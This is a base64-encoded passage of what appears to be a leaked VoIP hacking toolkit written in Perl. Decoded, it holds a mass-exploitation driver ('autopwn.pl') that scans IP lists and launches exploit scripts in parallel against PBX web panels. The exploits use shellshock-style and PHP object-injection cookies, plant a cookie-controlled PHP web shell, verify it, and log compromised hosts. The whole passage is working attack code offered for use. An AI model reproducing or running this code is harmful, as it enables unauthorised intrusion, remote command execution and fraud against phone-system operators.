  1237. ICAgICAgICAgICAgUGVlclBvcnQgPT4gNDQzLAoJICAgICAgICAgICAgICAgICAgICAgICAgICAg
  1238. ICAgUHJvdG8gICAgPT4gJ3RjcCcsCgkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUaW1l
  1239. b3V0ID0+IDYwLAoJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU1NMX3ZlcmlmeV9tb2Rl
  1240. ID0+IFNTTF9WRVJJRllfTk9ORSk7CglwcmludCAkc29jayAiR0VUIC9yZWNvcmRpbmdzL3BhZ2Uu
  1241. ZnJhbWV3b3JrLnBocCAgSFRUUC8xLjFcclxuSG9zdDogJHRhcmdldFxyXG5Db29raWU6IGxhbmc9
  1242. ZWNobytTVUNDRVNTK1NVQ0NFU1NcclxuQ29ubmVjdGlvbjogY2xvc2VcclxuXHJcbiI7CgkKCSRz
  1243. dWNjZXNzID0gMDsKCXdoaWxlKDwkc29jaz4pIHsKCSAgICAgICAgIGlmICgkXyA9fiAvU1VDQ0VT
  1244. U1wgU1VDQ0VTUy8pIHsKCSAgICAgICAgICAgICAgICAkc3VjY2VzcyA9IDE7CgkgICAgICAgICB9
  1245. ICAgICAgICAKCX0KCWlmICgkc3VjY2VzcykgewoJCXByaW50ICJBTFJFQURZIEhBQ0tFRFxuIjsK
  1246. CQlleGl0OwoJfQoKCXByaW50ICJcbiR0YXJnZXQgJGNvdW50cnkgU1VDQ0VTUzogJHVzZXJuYW1l
  1247. OiRwYXNzd29yZCBUSEUgRUFHTEUgSEFTIExBTkRFRCAoU1FMKVxuIjsKCW9wZW4gRklMRSwgIj4+
  1248. JG91dGZpbGUiOwoJcHJpbnQgRklMRSAiJHRhcmdldCAkY291bnRyeSBTVUNDRVNTOiAkdXNlcm5h
  1249. bWU6JHBhc3N3b3JkIFRIRSBFQUdMRSBIQVMgTEFOREVEIChTUUwpXG4iOwoJY2xvc2UgRklMRTsJ
  1250. CgkJCglteSAkc29jayA9IElPOjpTb2NrZXQ6OlNTTC0+bmV3KAoJICAgIFBlZXJIb3N0ID0+ICR0
  1251. YXJnZXQsCgkgICAgUGVlclBvcnQgPT4gImh0dHBzIiwKCSAgICBUaW1lb3V0ID0+IDYwLAoJICAg
  1252. IFNTTF92ZXJpZnlfbW9kZSA9PiBTU0xfVkVSSUZZX05PTkUpOwoJIAoJJHBocCA9IHFxewoJc2V0
  1253. X3RpbWVfbGltaXQoMCk7Cgl1bmxpbmsoInJlY29yZGluZ3MvcGFnZS5mcmFtZXdvcmsucGhwIik7
  1254. CglmaWxlX3B1dF9jb250ZW50cygicmVjb3JkaW5ncy9wYWdlLmZyYW1ld29yay5waHAiLCAiPD9w
  1255. aHAgaWYgKFxcXCRfQ09PS0lFW1xcImxhbmdcXCJdKSB7c3lzdGVtKFxcXCRfQ09PS0lFW1xcImxh
  1256. bmdcXCJdKTt9IGRpZSgpOz8+Iik7Cgl9OwoJCgkkcGhwID1+IHMvXHIvL2dpOwoJJHBocCA9fiBz
  1257. L1xuLy9naTsKCSAgIAoJJGJpbiA9IHFxe3BocCAtciAnJHBocCd9OwoJJGJ1ZiA9IHVybF9lbmNv
  1258. ZGUoIiRiaW4iKTsKCgkkcGF5bG9hZCA9IAoiYWN0aW9uPWFwcGx5X2NoYW5nZXNfVXNlckV4dGVu
  1259. c2lvbiZtZW51PXVzZXJsaXN0Jmdyb3VwPTEmZXh0ZW5zaW9uPWJheicrL2V0Yy9zZXJ2aWNlczsk
  1260. YnVmOycmZGVzY3JpcHRpb249JnBhc3N3b3JkMT0kcGFzc3dvcmQmcGFzc3dvcmQyPSRwYXNzd29y
  1261. ZCZ3ZWJtYWlsdXNlcj0md2VibWFpbGRvbWFpbj0md2VibWFpbHBhc3N3b3JkMT0maWRfdXNlcj0x
  1262. JnJhd21vZGU9eWVzIjsKCXByaW50ICRzb2NrICJQT1NUIC9pbmRleC5waHAgSFRUUC8xLjFcclxu
  1263. SG9zdDogJHRhcmdldFxyXG5Db250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJs
  1264. ZW5jb2RlZFxyXG5Db250ZW50LUxlbmd0aDogIi4gbGVuZ3RoKCRwYXlsb2FkKSAuICJcclxuQ29v
  1265. a2llOiAkY29va2llXHJcbkNvbm5lY3Rpb246Y2xvc2VcclxuXHJcbiIgLiAkcGF5bG9hZDsKCXdo
  1266. aWxlKDwkc29jaz4pIHsKCX0KCWNsb3NlICRzb2NrOwoJbXkgJHNvY2sgPSBJTzo6U29ja2V0OjpT
  1267. U0wtPm5ldygKCSAgICBQZWVySG9zdCA9PiAkdGFyZ2V0LAoJICAgIFBlZXJQb3J0ID0+ICJodHRw
  1268. cyIsCgkgICAgVGltZW91dCA9PiA2MCwKCSAgICBTU0xfdmVyaWZ5X21vZGUgPT4gU1NMX1ZFUklG
  1269. WV9OT05FKTsKCQoJJHBocCA9fiBzL1xyLy9naTsKCSRwaHAgPX4gcy9cbi8vZ2k7CgkgICAKCSRi
  1270. aW4gPSBxcXtwaHAgLXIgJyRwaHAnO307CgkkYnVmID0gdXJsX2VuY29kZSgiJGJpbiIpOwoKCSRw
  1271. YXlsb2FkID0gImNvbmZpZz1Db25maWd1cmF0aW9uJnBhZ2U9MCZuYXY9YnlwYWdlIjsKCXByaW50
  1272. ICRzb2NrICJQT1NUIC9pbmRleC5waHA/bWVudT12b2ljZW1haWwgSFRUUC8xLjFcclxuSG9zdDog
  1273. JHRhcmdldFxyXG5Db250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2Rl
  1274. ZFxyXG5Db250ZW50LUxlbmd0aDogIi4gbGVuZ3RoKCRwYXlsb2FkKSAuICJcclxuQ29va2llOiAk
  1275. Y29va2llXHJcbkNvbm5lY3Rpb246Y2xvc2VcclxuXHJcbiIgLiAkcGF5bG9hZDsKCXdoaWxlKDwk
  1276. c29jaz4pIHsKCX0KCSRzb2NrID0gSU86OlNvY2tldDo6U1NMLT5uZXcoUGVlckFkZHIgPT4gJHRh
  1277. cmdldCwKCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBlZXJQb3J0ID0+IDQ0MywKCSAg
  1278. ICAgICAgICAgICAgICAgICAgICAgICAgICAgIFByb3RvICAgID0+ICd0Y3AnLAoJICAgICAgICAg
  1279. ICAgICAgICAgICAgICAgICAgICAgVGltZW91dCA9PiA2MCwKCSAgICAgICAgICAgICAgICAgICAg
  1280. ICAgICAgICAgIFNTTF92ZXJpZnlfbW9kZSA9PiBTU0xfVkVSSUZZX05PTkUpOwoJcHJpbnQgJHNv
  1281. Y2sgIkdFVCAvcmVjb3JkaW5ncy9wYWdlLmZyYW1ld29yay5waHAgIEhUVFAvMS4xXHJcbkhvc3Q6
  1282. ICR0YXJnZXRcclxuQ29va2llOiBsYW5nPWVjaG8rU1VDQ0VTUytTVUNDRVNTXHJcbkNvbm5lY3Rp
  1283. b246IGNsb3NlXHJcblxyXG4iOwoJCgkkc3VjY2VzcyA9IDA7Cgl3aGlsZSg8JHNvY2s+KSB7Cgkg
  1284. ICAgICAgICBpZiAoJF8gPX4gL1NVQ0NFU1NcIFNVQ0NFU1MvKSB7CgkgICAgICAgICAgICAgICAg
  1285. JHN1Y2Nlc3MgPSAxOwoJICAgICAgICAgfSAgICAKCQlwcmludDsKCX0KCWlmICgkc3VjY2Vzcykg
  1286. ewoJIHByaW50ICJcbioqKkVYUExPSVQgU1VDQ0VTUyoqKlxuIjsKCSBwcmludCAiXG4qKipUSEUg
  1287. RUFHTEUgSEFTIExBTkRFRCBBVCAkdGFyZ2V0ICgkQVJHVlsxXSkgKEVYUExPSVQgMiBTUUwpKioq
  1288. XG4iOwoJIG9wZW4gRklMRSwgIj4+JG91dGZpbGUiOwoJIHByaW50IEZJTEUgIiR0YXJnZXQgJGNv
  1289. dW50cnkgU1VDQ0VTUzogJHVzZXJuYW1lOiRwYXNzd29yZCBUSEUgRUFHTEUgSEFTIExBTkRFRCAo
  1290. RVhQTE9JVCAyIFNRTClcbiI7CgkgY2xvc2UgRklMRTsKICAJIGNsb3NlKCRzb2NrKTsKCX0KCWV4
  1291. aXQ7CQoJfQp9CgotLn49PVsgQkVaRVEgSU5URVJOQVRJT05BTCBCT1VOQ0UgUFJPVklERVJTIF09
  1292. PX4uLQogLS5+PT1bIFZPSVAgSEFDS0lORyBUT09MS0lUIC0gRklMRSBWIF09PX4uLQoKdXNlIElP
  1293. OjpTb2NrZXQ7CnVzZSBQYXJhbGxlbDo6Rm9ya01hbmFnZXI7CnVzZSBJUDo6Q291bnRyeTo6RmFz
  1294. dDsKdXNlIHN0cmljdDsKCiR8PTE7CmlmICghJEFSR1ZbMV0pIHsKIHByaW50ICJ1c2FnZTogcGVy
  1295. bCBhdXRvcHduLnBsIDxpbmZpbGU+IDxvdXRmaWxlPlxuIjsKIGV4aXQ7CQp9CgpteSBAbGlzdCA9
  1296. ICgpOwpvcGVuIEZJTEUsICI8IiAuICRBUkdWWzBdOwpwcmludCAiU3RhcnQ6ICI7Cm15ICRzdGFy
  1297. dCA9IDxzdGRpbj47CmNob21wKCRzdGFydCk7Cm15ICRmbGFnPTA7CmlmIChpbmRleCgkc3RhcnQs
  1298. ICJzdGFydCIpID49IDApIHsKICRmbGFnPTE7Cn0Kd2hpbGUoPEZJTEU+KSB7CiBjaG9tcDsKIG15
  1299. ICRzdHIgPSAkXzsKIGlmICgkc3RyID1+IC8kc3RhcnQvKSB7CiAgJGZsYWc9MTsKICBuZXh0Owog
  1300. fQogaWYgKCEkZmxhZykgewogIG5leHQ7CiB9CiBteSBAc3RyMiA9IHNwbGl0KC9ccy8sICRzdHIp
  1301. OwogJHN0ciA9ICRzdHIyWyQjc3RyMl07CiBpZiAobm90ICRzdHIgPX4gL1xkK1wuXGQrXC5cZCtc
  1302. LlxkKy8pIHsKICBuZXh0OwogfQogaWYgKG5vdCBncmVwIC8kc3RyLywgQGxpc3QpIHsKICAgICAg
  1303. ICAgcHVzaChAbGlzdCwgJHN0cik7CiB9Cn0KY2xvc2UgRklMRTsKCm15ICRwbSA9IFBhcmFsbGVs
  1304. OjpGb3JrTWFuYWdlci0+bmV3KDIwKTsKCm15ICRjID0gMDsKbXkgJGNvdW50cnk7CmZvcmVhY2gg
  1305. bXkgJHNpcCAoQGxpc3QpIHsKbXkgJHJlc3AgPSBJUDo6Q291bnRyeTo6RmFzdC0+bmV3KCk7CiRj
  1306. b3VudHJ5ID0gJHJlc3AtPmluZXRfYXRvY2MoJHNpcCk7CmlmICgoJGNvdW50cnkgPX4gL1hYLykg
  1307. fHwgKCRjb3VudHJ5ID1+IC9YWC8pKSB7CiBuZXh0Owp9CQokYysrOwppZiAoJGMgPj0gMjApIHsK
  1308. cHJpbnQgIlRocmVhZHMgam9pbmluZy4uLlxuIjsKJHBtLT53YWl0X2FsbF9jaGlsZHJlbjsKJGM9
  1309. MTsKfQpteSAkcGlkID0gJHBtLT5zdGFydCBhbmQgbmV4dDsKbXkgJHRhcmdldCA9ICRzaXA7CnBy
  1310. aW50ICR0YXJnZXQuIlxuIjsKcHJpbnQgIkVYUExPSVRcbiI7CmlmICgkY291bnRyeSBlcSAiIikg
  1311. ewogJGNvdW50cnkgPSAiVU5LTk9XTiI7Cn0Kc3lzdGVtKCJwZXJsIGlkZWZpeC1zc2wucGwgJHRh
  1312. cmdldCAkY291bnRyeSAkQVJHVlsxXSIpOwpvdXQ6CiRwbS0+ZmluaXNoOwp9CgotLn49PVsgQkVa
  1313. RVEgSU5URVJOQVRJT05BTCBCT1VOQ0UgUFJPVklERVJTIF09PX4uLQogLS5+PT1bIFZPSVAgSEFD
  1314. S0lORyBUT09MS0lUIC0gRklMRSBWSSBdPT1+Li0KCiNpZGVmaXggcmVtb3RlCnVzZSBJTzo6U29j
  1315. a2V0OjpTU0w7CnVzZSBVUkw6OkVuY29kZSBxdyh1cmxfZW5jb2RlKTsKdXNlIExXUDo6U2ltcGxl
  1316. OwoKJHw9MTsKYWxhcm0oNTkpOwokdGFyZ2V0ID0gJEFSR1ZbMF07CmNob21wKCR0YXJnZXQpOwpw
  1317. cmludCAkdGFyZ2V0LiJcbiI7CiRwaHAgPSBxcXsKc2V0X3RpbWVfbGltaXQoMCk7CnVubGluaygi
  1318. cGFnZS5mcmFtZXdvcmsucGhwIik7CmZpbGVfcHV0X2NvbnRlbnRzKCJwYWdlLmZyYW1ld29yay5w
  1319. aHAiLCAiPD9waHAgaWYgKFxcXCRfQ09PS0lFW1xcImxhbmdcXCJdKSB7c3lzdGVtKFxcXCRfQ09P
  1320. S0lFW1xcImxhbmdcXCJdKTt9IGRpZSgpOz8+Iik7Cn07CgokcGhwID1+IHMvXHIvL2dpOwokcGhw
  1321. ID1+IHMvXG4vL2dpOwoKc3ViIGlzaGFja2VkIHsKIG15ICR1cmwgPSAiaHR0cHM6Ly8kdGFyZ2V0
  1322. L2FkbWluL3BhZ2UuZnJhbWV3b3JrLnBocCI7CiBpZiAoaGVhZCgkdXJsKSkgewogICByZXR1cm4g
  1323. MTsKIH0KICR1cmwgPSAiaHR0cHM6Ly8kdGFyZ2V0L3JlY29yZGluZ3MvcGFnZS5mcmFtZXdvcmsu
  1324. cGhwIjsKIGlmIChoZWFkKCR1cmwpKSB7CiAgIHJldHVybiAyOwogfQogJHVybCA9ICJodHRwczov
  1325. LyR0YXJnZXQvYWRtaW4vbW9kdWxlcy9hZG1pbmRhc2hib2FyZC9waHBzeXNpbmZvL2NvbW1vbl9h
  1326. ZG1pbl9mdW5jdGlvbnMucGhwIjsKIGlmIChoZWFkKCR1cmwpKSB7CiAgIHJldHVybiAzOwogfQoK
  1327. IHJldHVybiAwOwp9CgokcmVzdWx0ID0gaXNoYWNrZWQoKTsKaWYgKCRyZXN1bHQgZXEgMSkgewog
  1328. cHJpbnQgJHRhcmdldCAuICIgIiAuICRBUkdWWzFdIC4gIiBUSEUgRUFHTEUgSEFTIExBTkRFRCAo
  1329. QUxSRUFEWSBIQUNLRUQsIEVYUExPSVQgMSlcclxuIjsKIG9wZW4gRklMRSwgIj4+JEFSR1ZbMl0i
  1330. OwogcHJpbnQgRklMRSAkdGFyZ2V0IC4gIiAiIC4gJEFSR1ZbMV0gLiAiIFRIRSBFQUdMRSBIQVMg
  1331. TEFOREVEIChBTFJFQURZIEhBQ0tFRCwgRVhQTE9JVCAxKVxyXG4iOwogY2xvc2UgRklMRTsKIGV4
  1332. aXQ7Cn0KCmlmICgkcmVzdWx0IGVxIDIpIHsKIHByaW50ICR0YXJnZXQgLiAiICIgLiAkQVJHVlsx
  1333. XSAuICIgVEhFIEVBR0xFIEhBUyBMQU5ERUQgKEFMUkVBRFkgSEFDS0VELCBFWFBMT0lUIDIpXHJc
  1334. biI7CiBvcGVuIEZJTEUsICI+PiRBUkdWWzJdIjsKIHByaW50IEZJTEUgJHRhcmdldCAuICIgIiAu
  1335. ICRBUkdWWzFdIC4gIiBUSEUgRUFHTEUgSEFTIExBTkRFRCAoQUxSRUFEWSBIQUNLRUQsIEVYUExP
  1336. SVQgMilcclxuIjsKIGNsb3NlIEZJTEU7CiBleGl0Owp9CgpwcmludCAiRVhQTE9JVFxuIjsKCiRi
  1337. aW4gPSBxcXtwaHAgLXIgJyRwaHAnO307CiRidWYgPSB1cmxfZW5jb2RlKCIoKSB7IDo7fTskYmlu
  1338. Iik7CiRidWYyID0gdXJsX2VuY29kZSgnTzo4OiJEQl9teXNxbCI6Njp7czoxOToiX2RlZmF1bHRf
  1339. ZXJyb3JfbW9kZSI7aToxNjtzOjIyOiJfZGVmYXVsdF9lcnJvcl9vcHRpb25zIjtzOjk6ImRvX3Jl
  1340. bG9hZCI7czoxMjoiX2Vycm9yX2NsYXNzIjtzOjQ6IlRFU1QiO3M6MTM6Indhc19jb25uZWN0ZWQi
  1341. O2I6MTtzOjc6Im9wdGlvbnMiO3M6MzoiMTIzIjtzOjM6ImRzbiI7YTo0OntzOjg6Imhvc3RzcGVj
  1342. IjtzOjk6ImxvY2FsaG9zdCI7czo4OiJ1c2VybmFtZSI7czo0OiJyb290IjtzOjg6InBhc3N3b3Jk
  1343. IjtzOjA6IiI7czo4OiJkYXRhYmFzZSI7czo3OiJ0cmlnZ2VyIjt9fScpOwoKJHNvY2sgPSBJTzo6
  1344. U29ja2V0OjpTU0wtPm5ldyhQZWVyQWRkciA9PiAkdGFyZ2V0LAogICAgICAgICAgICAgICAgICAg
  1345. ICAgICAgICAgICBQZWVyUG9ydCA9PiA0NDMsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
  1346. IFByb3RvICAgID0+ICd0Y3AnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUaW1lb3V0
  1347. ID0+IDEwLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBTU0xfdmVyaWZ5X21vZGUgPT4g
  1348. U1NMX1ZFUklGWV9OT05FKTsKJHBheWxvYWQgPSAidXNlcm5hbWU9YWRtaW4mcGFzc3dvcmQ9YWRt
  1349. aW4mc3VibWl0PWJ0blN1Ym1pdCI7CnByaW50ICRzb2NrICJQT1NUIC9yZWNvcmRpbmdzL2luZGV4
  1350. LnBocD8gSFRUUC8xLjFcclxuSG9zdDogJHRhcmdldFxyXG5Db29raWU6IGFyaV9sYW5nPSRidWY7
  1351. YXJpX2F1dGg9JGJ1ZjI7ZWxhc3RpeFNlc3Npb249NzE2cmF0azA5MjU1NWdsMGIzZ3R2dDhmbzc7
  1352. VUlDU0VTU0lPTj1ycG9ycDRjODhoZzYzc2lwc3NvcDNrZG1uMjtBUkk9YjhlNGg2dmZnMGpvdXF1
  1353. aGtjYmxzb3VoazBcclxuQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVu
  1354. Y29kZWRcclxuQ29udGVudC1MZW5ndGg6ICIuIGxlbmd0aCgkcGF5bG9hZCkgLiJcclxuQ29ubmVj
  1355. dGlvbjogY2xvc2VcclxuXHJcbiIgLiAkcGF5bG9hZDsKCndoaWxlKDwkc29jaz4pIHsKfQoKJHNv
  1356. Y2sgPSBJTzo6U29ja2V0OjpTU0wtPm5ldyhQZWVyQWRkciA9PiAkdGFyZ2V0LAogICAgICAgICAg
  1357. ICAgICAgICAgICAgICAgICAgICBQZWVyUG9ydCA9PiA0NDMsCiAgICAgICAgICAgICAgICAgICAg
  1358. ICAgICAgICAgIFByb3RvICAgID0+ICd0Y3AnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAg
  1359. ICBUaW1lb3V0ID0+IDEwLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBTU0xfdmVyaWZ5
  1360. X21vZGUgPT4gU1NMX1ZFUklGWV9OT05FKTsKcHJpbnQgJHNvY2sgIkdFVCAvcmVjb3JkaW5ncy9w
  1361. YWdlLmZyYW1ld29yay5waHAgIEhUVFAvMS4xXHJcbkhvc3Q6ICR0YXJnZXRcclxuQ29va2llOiBs
  1362. YW5nPWVjaG8rU1VDQ0VTUytTVUNDRVNTXHJcbkNvbm5lY3Rpb246IGNsb3NlXHJcblxyXG4iOwoK
  1363. JHN1Y2Nlc3MgPSAwOwp3aGlsZSg8JHNvY2s+KSB7CiAgICAgICAgIGlmICgkXyA9fiAvU1VDQ0VT
  1364. U1wgU1VDQ0VTUy8pIHsKICAgICAgICAgICAgICAgICRzdWNjZXNzID0gMTsKICAgICAgICAgfSAg
  1365. ICAgICAgCn0KCmlmICgkc3VjY2VzcykgewogcHJpbnQgIlxuKioqRVhQTE9JVCBTVUNDRVNTKioq
  1366. XG4iOwogcHJpbnQgIlxuKioqVEhFIEVBR0xFIEhBUyBMQU5ERUQgQVQgJHRhcmdldCAoJEFSR1Zb
  1367. MV0pKioqXG4iOwogb3BlbiBGSUxFLCAiPj4kQVJHVlsyXSI7CiBpZiAoJHJlc3VsdCBlcSAwKSB7
  1368. CiAgcHJpbnQgRklMRSAkdGFyZ2V0IC4gIiAiIC4gJEFSR1ZbMV0gLiAiIFRIRSBFQUdMRSBIQVMg
  1369. TEFOREVEIChFWFBMT0lUIDIgTkVXISEpXHJcbiI7CiB9CiBpZiAoJHJlc3VsdCBlcSAzKSB7CiAg
  1370. cHJpbnQgRklMRSAkdGFyZ2V0IC4gIiAiIC4gJEFSR1ZbMV0gLiAiIFRIRSBFQUdMRSBIQVMgTEFO
  1371. REVEIChFWFBMT0lUIDIgUkVIQUNLKVxyXG4iOwogfQogY2xvc2UgRklMRTsKIGV4aXQ7Cn0KCi0u
  1372. fj09WyBCRVpFUSBJTlRFUk5BVElPTkFMIEJPVU5DRSBQUk9WSURFUlMgXT09fi4tCiAtLn49PVsg
  1373. Vk9JUCBIQUNLSU5HIFRPT0xLSVQgLSBGSUxFIFZJSSBdPT1+Li0KCiNpZGVmaXggcmVtb3RlCnVz
  1374. ZSBJTzo6U29ja2V0Owp1c2UgVVJMOjpFbmNvZGUgcXcodXJsX2VuY29kZSk7CnVzZSBMV1A6OlNp
  1375. bXBsZTsKCiR8PTE7CmFsYXJtKDU5KTsKJHRhcmdldCA9ICRBUkdWWzBdOwpjaG9tcCgkdGFyZ2V0
  1376. KTsKcHJpbnQgJHRhcmdldC4iXG4iOwokcGhwID0gcXF7CnNldF90aW1lX2xpbWl0KDApOwp1bmxp
  1377. bmsoInBhZ2UuZnJhbWV3b3JrLnBocCIpOwpmaWxlX3B1dF9jb250ZW50cygicGFnZS5mcmFtZXdv
  1378. cmsucGhwIiwgIjw/cGhwIGlmIChcXFwkX0NPT0tJRVtcXCJsYW5nXFwiXSkge3N5c3RlbShcXFwk
  1379. X0NPT0tJRVtcXCJsYW5nXFwiXSk7fSBkaWUoKTs/PiIpOwp9OwoKJHBocCA9fiBzL1xyLy9naTsK
  1380. JHBocCA9fiBzL1xuLy9naTsKCnN1YiBpc2hhY2tlZCB7CiBteSAkdXJsID0gImh0dHA6Ly8kdGFy
  1381. Z2V0L2FkbWluL3BhZ2UuZnJhbWV3b3JrLnBocCI7CiBpZiAoaGVhZCgkdXJsKSkgewogICByZXR1
  1382. cm4gMTsKIH0KICR1cmwgPSAiaHR0cDovLyR0YXJnZXQvcmVjb3JkaW5ncy9wYWdlLmZyYW1ld29y
  1383. ay5waHAiOwogaWYgKGhlYWQoJHVybCkpIHsKICAgcmV0dXJuIDI7CiB9CiAkdXJsID0gImh0dHA6
  1384. Ly8kdGFyZ2V0L2FkbWluL21vZHVsZXMvYWRtaW5kYXNoYm9hcmQvcGhwc3lzaW5mby9jb21tb25f
  1385. YWRtaW5fZnVuY3Rpb25zLnBocCI7CiBpZiAoaGVhZCgkdXJsKSkgewogICByZXR1cm4gMzsKIH0K
  1386. CiByZXR1cm4gMDsKfQoKJHJlc3VsdCA9IGlzaGFja2VkKCk7CmlmICgkcmVzdWx0IGVxIDEpIHsK
  1387. IHByaW50ICR0YXJnZXQgLiAiICIgLiAkQVJHVlsxXSAuICIgVEhFIEVBR0xFIEhBUyBMQU5ERUQg
  1388. KEFMUkVBRFkgSEFDS0VELCBFWFBMT0lUIDEpXHJcbiI7CiBvcGVuIEZJTEUsICI+PiRBUkdWWzJd
  1389. IjsKIHByaW50IEZJTEUgJHRhcmdldCAuICIgIiAuICRBUkdWWzFdIC4gIiBUSEUgRUFHTEUgSEFT
  1390. IExBTkRFRCAoQUxSRUFEWSBIQUNLRUQsIEVYUExPSVQgMSlcclxuIjsKIGNsb3NlIEZJTEU7CiBl
  1391. eGl0Owp9CgppZiAoJHJlc3VsdCBlcSAyKSB7CiBwcmludCAkdGFyZ2V0IC4gIiAiIC4gJEFSR1Zb
  1392. MV0gLiAiIFRIRSBFQUdMRSBIQVMgTEFOREVEIChBTFJFQURZIEhBQ0tFRCwgRVhQTE9JVCAyKVxy
  1393. XG4iOwogb3BlbiBGSUxFLCAiPj4kQVJHVlsyXSI7CiBwcmludCBGSUxFICR0YXJnZXQgLiAiICIg
  1394. LiAkQVJHVlsxXSAuICIgVEhFIEVBR0xFIEhBUyBMQU5ERUQgKEFMUkVBRFkgSEFDS0VELCBFWFBM
  1395. T0lUIDIpXHJcbiI7CiBjbG9zZSBGSUxFOwogZXhpdDsKfQoKcHJpbnQgIkVYUExPSVRcbiI7Cgok
  1396. YmluID0gcXF7cGhwIC1yICckcGhwJ307CiRidWYgPSB1cmxfZW5jb2RlKCIoKSB7IDo7fTskYmlu
  1397. Iik7CiRidWYyID0gdXJsX2VuY29kZSgnTzo4OiJEQl9teXNxbCI6Njp7czoxOToiX2RlZmF1bHRf
  1398. ZXJyb3JfbW9kZSI7aToxNjtzOjIyOiJfZGVmYXVsdF9lcnJvcl9vcHRpb25zIjtzOjk6ImRvX3Jl
  1399. bG9hZCI7czoxMjoiX2Vycm9yX2NsYXNzIjtzOjQ6IlRFU1QiO3M6MTM6Indhc19jb25uZWN0ZWQi
  1400. O2I6MTtzOjc6Im9wdGlvbnMiO3M6MzoiMTIzIjtzOjM6ImRzbiI7YTo0OntzOjg6Imhvc3RzcGVj
  1401. IjtzOjk6ImxvY2FsaG9zdCI7czo4OiJ1c2VybmFtZSI7czo0OiJyb290IjtzOjg6InBhc3N3b3Jk
  1402. IjtzOjA6IiI7czo4OiJkYXRhYmFzZSI7czo3OiJ0cmlnZ2VyIjt9fScpOwoKJHNvY2sgPSBJTzo6
  1403. U29ja2V0OjpJTkVULT5uZXcoUGVlckFkZHIgPT4gJHRhcmdldCwKICAgICAgICAgICAgICAgICAg
  1404. ICAgICAgICAgICAgUGVlclBvcnQgPT4gODAsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
  1405. IFByb3RvICAgID0+ICd0Y3AnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUaW1lb3V0
  1406. ID0+IDEwKTsKJHBheWxvYWQgPSAidXNlcm5hbWU9YWRtaW4mcGFzc3dvcmQ9YWRtaW4mc3VibWl0
  1407. PWJ0blN1Ym1pdCI7CnByaW50ICRzb2NrICJQT1NUIC9yZWNvcmRpbmdzL2luZGV4LnBocD8gSFRU
  1408. UC8xLjFcclxuSG9zdDogJHRhcmdldFxyXG5Db29raWU6IGFyaV9sYW5nPSRidWY7YXJpX2F1dGg9
  1409. JGJ1ZjI7ZWxhc3RpeFNlc3Npb249NzE2cmF0azA5MjU1NWdsMGIzZ3R2dDhmbzc7VUlDU0VTU0lP
  1410. Tj1ycG9ycDRjODhoZzYzc2lwc3NvcDNrZG1uMjtBUkk9YjhlNGg2dmZnMGpvdXF1aGtjYmxzb3Vo
  1411. azBcclxuQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWRcclxu
  1412. Q29udGVudC1MZW5ndGg6ICIuIGxlbmd0aCgkcGF5bG9hZCkgLiJcclxuQ29ubmVjdGlvbjogY2xv
  1413. c2VcclxuXHJcbiIgLiAkcGF5bG9hZDsKCndoaWxlKDwkc29jaz4pIHsKfQoKJHNvY2sgPSBJTzo6
  1414. U29ja2V0OjpJTkVULT5uZXcoUGVlckFkZHIgPT4gJHRhcmdldCwKICAgICAgICAgICAgICAgICAg
  1415. ICAgICAgICAgICAgUGVlclBvcnQgPT4gODAsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
  1416. IFByb3RvICAgID0+ICd0Y3AnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUaW1lb3V0
  1417. ID0+IDEwKTsKcHJpbnQgJHNvY2sgIkdFVCAvcmVjb3JkaW5ncy9wYWdlLmZyYW1ld29yay5waHAg
  1418. IEhUVFAvMS4xXHJcbkhvc3Q6ICR0YXJnZXRcclxuQ29va2llOiBsYW5nPWVjaG8rU1VDQ0VTUytT
  1419. VUNDRVNTXHJcbkNvbm5lY3Rpb246IGNsb3NlXHJcblxyXG4iOwoKJHN1Y2Nlc3MgPSAwOwp3aGls
  1420. ZSg8JHNvY2s+KSB7CiAgICAgICAgIGlmICgkXyA9fiAvU1VDQ0VTU1wgU1VDQ0VTUy8pIHsKICAg
  1421. ICAgICAgICAgICAgICRzdWNjZXNzID0gMTsKICAgICAgICAgfSAgICAgICAgCn0KCmlmICgkc3Vj
  1422. Y2VzcykgewogcHJpbnQgIlxuKioqRVhQTE9JVCBTVUNDRVNTKioqXG4iOwogcHJpbnQgIlxuKioq
  1423. VEhFIEVBR0xFIEhBUyBMQU5ERUQgQVQgJHRhcmdldCAoJEFSR1ZbMV0pKioqXG4iOwogb3BlbiBG
  1424. SUxFLCAiPj4kQVJHVlsyXSI7CiBpZiAoJHJlc3VsdCBlcSAwKSB7CiAgcHJpbnQgRklMRSAkdGFy
  1425. Z2V0IC4gIiAiIC4gJEFSR1ZbMV0gLiAiIFRIRSBFQUdMRSBIQVMgTEFOREVEIChFWFBMT0lUIDIg
  1426. TkVXISEpXHJcbiI7CiB9CiBpZiAoJHJlc3VsdCBlcSAzKSB7CiAgcHJpbnQgRklMRSAkdGFyZ2V0
  1427. IC4gIiAiIC4gJEFSR1ZbMV0gLiAiIFRIRSBFQUdMRSBIQVMgTEFOREVEIChFWFBMT0lUIDIgUkVI
  1428. QUNLKVxyXG4iOwogfQogY2xvc2UgRklMRTsKIGV4aXQ7Cn0KCi0ufj09WyBCRVpFUSBJTlRFUk5B
  1429. VElPTkFMIEJPVU5DRSBQUk9WSURFUlMgXT09fi4tCiAtLn49PVsgVk9JUCBIQUNLSU5HIFRPT0xL
  1430. SVQgLSBGSUxFIFZJSUkgXT09fi4tCgojIS9iaW4vYmFzaAojfD0tLS0tLS0tLS0tLS0tLS0tLS0t
  1431. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLT18CiN8
